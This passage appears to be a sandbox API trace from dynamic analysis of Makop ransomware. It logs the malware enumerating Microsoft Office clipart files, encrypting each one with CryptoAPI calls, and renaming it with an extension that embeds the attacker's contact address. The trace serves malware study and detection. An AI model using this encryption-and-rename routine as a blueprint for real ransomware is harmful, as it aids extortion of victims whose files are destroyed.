Office\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105246.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105246.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.218] CloseHandle (hObject=0xf0) returned 1 [0119.218] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1214, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105250.WMF", cAlternateFileName="")) returned 1 [0119.218] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0119.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.220] GetProcessHeap () returned 0x48a0000 [0119.220] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.221] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.221] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.221] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.225] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.225] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.225] GetProcessHeap () returned 0x48a0000 [0119.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.226] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.226] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.226] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.226] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.226] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.226] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.227] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.227] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.227] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.227] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.227] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1214, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1214, lpOverlapped=0x0) returned 1 [0119.229] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220, dwBufLen=0x1220 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1220) returned 1 [0119.229] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.230] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1220, lpOverlapped=0x0) returned 1 [0119.230] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.230] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x12f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.230] SetEndOfFile (hFile=0xf0) returned 1 [0119.237] GetProcessHeap () returned 0x48a0000 [0119.237] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.237] GetProcessHeap () returned 0x48a0000 [0119.237] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.237] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.237] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105250.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.239] CloseHandle (hObject=0xf0) returned 1 [0119.239] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1714, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105266.WMF", cAlternateFileName="")) returned 1 [0119.239] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0119.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.240] GetProcessHeap () returned 0x48a0000 [0119.240] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.240] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.240] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.246] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.246] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.246] GetProcessHeap () returned 0x48a0000 [0119.246] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.246] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.246] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.246] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.246] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.246] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.247] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.247] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.247] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.247] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.247] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.247] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1714, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1714, lpOverlapped=0x0) returned 1 [0119.249] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720, dwBufLen=0x1720 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1720) returned 1 [0119.249] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.249] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1720, lpOverlapped=0x0) returned 1 [0119.250] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.250] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.250] SetEndOfFile (hFile=0xf0) returned 1 [0119.257] GetProcessHeap () returned 0x48a0000 [0119.257] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.257] GetProcessHeap () returned 0x48a0000 [0119.257] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.257] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.257] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.258] CloseHandle (hObject=0xf0) returned 1 [0119.259] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4540, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105272.WMF", cAlternateFileName="")) returned 1 [0119.259] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0119.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.260] GetProcessHeap () returned 0x48a0000 [0119.260] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.260] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.261] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.261] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.261] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.261] GetProcessHeap () returned 0x48a0000 [0119.261] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.261] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.261] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.261] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.265] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.266] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.266] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.266] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.266] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.266] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.266] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.267] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4540, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4540, lpOverlapped=0x0) returned 1 [0119.268] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4540, dwBufLen=0x4540 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4540) returned 1 [0119.268] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.269] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4540, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4540, lpOverlapped=0x0) returned 1 [0119.269] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.269] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.269] SetEndOfFile (hFile=0xf0) returned 1 [0119.276] GetProcessHeap () returned 0x48a0000 [0119.276] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.276] GetProcessHeap () returned 0x48a0000 [0119.277] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.277] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.277] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.278] CloseHandle (hObject=0xf0) returned 1 [0119.279] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105276.WMF", cAlternateFileName="")) returned 1 [0119.279] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0119.279] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.280] GetProcessHeap () returned 0x48a0000 [0119.280] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.280] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.280] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.280] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.285] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.285] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.285] GetProcessHeap () returned 0x48a0000 [0119.285] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.285] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.285] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.285] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.285] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.285] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.286] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.286] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.286] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.286] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4b28, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4b28, lpOverlapped=0x0) returned 1 [0119.288] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b30, dwBufLen=0x4b30 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4b30) returned 1 [0119.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.289] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4b30, lpOverlapped=0x0) returned 1 [0119.289] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.289] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4c04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.289] SetEndOfFile (hFile=0xf0) returned 1 [0119.296] GetProcessHeap () returned 0x48a0000 [0119.296] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.297] GetProcessHeap () returned 0x48a0000 [0119.297] HeapFree (in: 